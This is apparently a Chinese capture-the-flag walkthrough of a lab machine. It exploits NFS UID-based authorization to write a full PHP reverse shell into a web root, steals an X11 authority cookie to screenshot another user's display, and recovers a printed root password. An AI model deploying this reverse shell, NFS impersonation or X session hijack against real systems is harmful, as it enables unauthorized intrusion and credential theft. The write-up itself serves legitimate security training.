发现和利用NFS的错误配置
通过Linux命令行管理用户
利用X11的系统
nmap -sS -Pn -sC -sV 10.10.11.191
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-11 23:18 EST
Nmap scan report for 10.10.11.191
Host is up (0.30s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34451/udp6 mountd
| 100005 1,2,3 55211/udp mountd
| 100005 1,2,3 55495/tcp mountd
| 100005 1,2,3 56997/tcp6 mountd
| 100021 1,3,4 33261/tcp nlockmgr
| 100021 1,3,4 34669/tcp6 nlockmgr
| 100021 1,3,4 42525/udp6 nlockmgr
| 100021 1,3,4 57128/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.48 seconds
可以看到目标靶机主要开放了22,80,111,2049四个端口,我们可以先访问80端口看看
试着扫描下目录,结果没发现什么有价值的内容
通过nmap的扫描结果我们知道靶机还在2049端口开放了nfs的服务,由于之前没了解过,所以我先去https://book.hacktricks.xyz/了解下nfs的基本信息及利用方法
它是一个客户端/服务器系统,允许用户通过网络访问文件,并将其视为留在本地文件目录中。它与SMB具有相同的作用,但无法与SMB通信。NFS协议没有身份验证或授权机制。授权来自文件系统的可用信息,其中服务器负责将客户端提供的用户信息转换为文件系统的用户信息,并将相应的授权信息尽可能正确地转换为UNIX所需的语法。
最常见的身份验证是通过UNIX UID/GID和组成员身份验证,这就是为什么此语法最可能应用于NFS协议的原因。一个问题是,客户端和服务器不一定必须具有相同的UID/GID到用户和组的映射。无法对服务器进行进一步检查。这就是为什么NFS只能在可信任的网络中与此身份验证方法一起使用。默认端口在2049。
我们可以通过下面的命令来枚举靶机上的共享文件
showmount -e 10.10.11.191
可以发现nfs上有两个共享文件夹,我们接着使用下面的命令把远程目录挂载到本地目录上来
mount -t nfs 10.10.11.191:/var/www/html /root/桌面/pactice/squashed
但是,虽然文件挂载过来了,但我们没有权限读写这些文件。用命令查看下当前文件夹的权限
ls -ld
-d 只列出目录(不递归列出目录内的文件)。
-l 除文件名称外,亦将文件型态、权限、拥有者、文件大小等资讯详细列出
可以看到这个文件夹是属于www-data组中一个uid为2017的用户所拥有的,我们接着把另一个文件夹挂载到本地看看
mount -t nfs 10.10.11.191:/home/ross /root/桌面/pactice/squashed2
现在,我们已经知道了一个uid为2017的用户有着网站源码根目录的权限,由于NFS没有任何身份验证或授权机制,可以推测共享文件所有者有着对目录本身的权限。所以只要我们也有了这个权限,就可以往网站目录写入一个反弹shell的文件,然后通过浏览器访问下就可以触发shell了。
所以接下来我们要用这个uid在本地创建一个用户,然后通过这个用户去访问文件夹
先创建用户
useradd test
但是创建的test用户的uid是1001,我们需要将它改成2017,通过下面的命令修改,同时也把gid改下
usermod -u 2017 test
groupmod -g 2017 test
切换到test用户,并且写入shell,shell可参考Online - Reverse Shell Generator (revshells.com)
cp shell.php ./squashed
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.12';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
通过google,我们不难知道nfs的配置文件在/etc/exports,所以我们可以打开看看有没有什么有用的信息
[email protected]:/home/alex$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/var/www/html *(rw,sync,root_squash)
/home/ross *(sync,root_squash)
我们可以看到,这两个共享都设置了root_squash,将试图以UID/GID 0(root)身份访问共享的用户降级为nfsnobody用户,从而防止攻击者上载设置了SUID位的二进制文件。一个类似的设置是all_squash,它将对所有用户应用相同的逻辑,本质上将所有人降级为nfsnobody。幸运的是,该配置尚未明确指定,因此我们可以模仿非root用户(就像我们上面那样)将文件写入目录。最后,我们可以看到,虽然为html目录设置了rw标志,但它在其他文件共享中不存在,这意味着即使我们成功地模仿了ross用户,也无法向其写入任何文件。
cat /home/alex/user.txt
我们之前获得了另一个文件夹,是uid为1001的用户才有权限访问的文件。现在,我们需要重复上面的过程,创建一个uid为1001的用户然后读取文件。
useradd test1
usermod -u 1001 test1
groupmod -g 1001 test1
这样我们就获得了文件的读取权限,但还不能往里写文件
X11也叫做X Window系统,X Window系统 (X11或X)是一种 位图 显示的 视窗系统 。它是在 Unix 和 类Unix 操作系统 ,以及 OpenVMS 上建立图形用户界面 的标准工具包和协议,并可用于几乎所有已有的现代操作系统。服务器没有完整的桌面环境, 而某些软件需要图形界面观察效果。
Linux 本身是没有图形化界面的,所谓的图形化界面系统只不过中 Linux 下的应用程序。这一点和 Windows 不一样。Windows 从 Windows 95 开始,图形界面就直接在系统内核中实现了,是操作系统不可或缺的一部分。Linux 的图形化界面,底层都是基于 X 协议。
X 协议由 X server 和 X client 组成:
X server 管理主机上与显示相关的硬件设置(如显卡、硬盘、鼠标等),它负责屏幕画面的绘制与显示,以及将输入设置(如键盘、鼠标)的动作告知 X client。
X client (即 X 应用程序) 则主要负责事件的处理(即程序的逻辑)。
举个例子,如果用户点击了鼠标左键,因为鼠标归 X server 管理,于是 X server 就捕捉到了鼠标点击这个动作,然后它将这个动作告诉 X client,因为 X client 负责程序逻辑,于是 X client 就根据程序预先设定的逻辑(例如画一个圆),告诉 X server 说:“请在鼠标点击的位置,画一个圆”。最后,X server 就响应 X client 的请求,在鼠标点击的位置,绘制并显示出一个圆。
许多时候 X server 和 X client 在同一台主机上,这看起来没什么。但是, X server 和 X client 完全可以运行在不同的机器上,只要彼此通过 X 协议通信即可。于是,我们就可以做一些“神奇”的事情,比如像本文开头谈到的,在本地显示 (X server),运行在服务器上的 GUI 程序 (X client)。这样的操作可以通过 SSH X11 Forwarding (转发) 来实现。X11 中的 X 指的就是 X 协议,11 指的是采用 X 协议的第 11 个版本。
参考:通过X11实现 Linux服务器图形化界面显示 - 李晓春 - 博客园 (cnblogs.com)
.xauthority文件用于存储xauth在验证X会话时使用的cookie形式的凭据。一旦启动X会话,该cookie将用于验证与该特定显示器的连接。因此,因为我们可以使用新创建的用户test1,来窃取cookie,从而充当经过身份验证的ross用户,并与显示器交互。
cat ./squashed2/.Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABBflIwepwqJdcjQ+pFajKlC
为了方便点,我们对cookie进行base64编码,将编码的cookie粘贴到目标计算机上,然后将其解码到/tmp文件夹中的文件中
echo AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABBflIwepwqJdcjQ+pFajKlC | base64 -d > /tmp/.Xauthority
然后设置将环境变量XAUTHORITY指向我们的cookie文件。
export XAUTHORITY=/tmp/.Xauthority
我们现在可以与显示器交互了,因为我们基本上已经劫持了ross的会话。为了查看显示器上发生的情况,我们可以截屏并在本地打开它。要做到这一点,我们需要知道ross正在使用哪个显示器,这可以使用w命令完成。
Linux w命令用于显示目前登入系统的用户信息。
执行这项指令可得知目前登入系统的用户有哪些人,以及他们正在执行的程序。
单独执行 w 指令会显示所有的用户,您也可指定用户名称,仅显示某位用户的相关信息。
我们可以看到使用的显示是0。考虑到这一点,在Linux系统中,我们可以可以用 xwd 进行 X-window 的截图,以获取当前状态下的屏幕截图。下面记录下几个简单的命令,方便日后使用。详情请参考 xwd 的文档。
截图并保存到指定文件。( -root 是直接截取整个屏幕,而不需要鼠标选择区域) xwd -root -out /tmp/xwd_test.xwd
或者也可以重定向输出 xwd -root > /tmp/xwd_test.xwd
查看截屏文件。 xwud -in /tmp/xwd_test.xwd
使用 imageMagick 转换成常用图片格式。 convert /tmp/xwd_test.xwd /tmp/xwd_test.png
这里我们使用命令
xwd -root -screen -silent -display :0 > /tmp/screen.xwd
-root: 选择整个屏幕
-screen: 发送截屏请求
-silent: 悄悄操作
-display: 连接到指定服务器
在/tmp目录中开启python服务器
python3 -m http.server
接着在本地从python服务器上下载图片
wget http://10.10.11.191:8000/screen.xwd
使用在线工具将xwd文件转换为png图片https://onlineconvertfree.com/zh/convert/xwd/,获得root账号密码
root:cah$mei7rai9A
获取一个交互式shell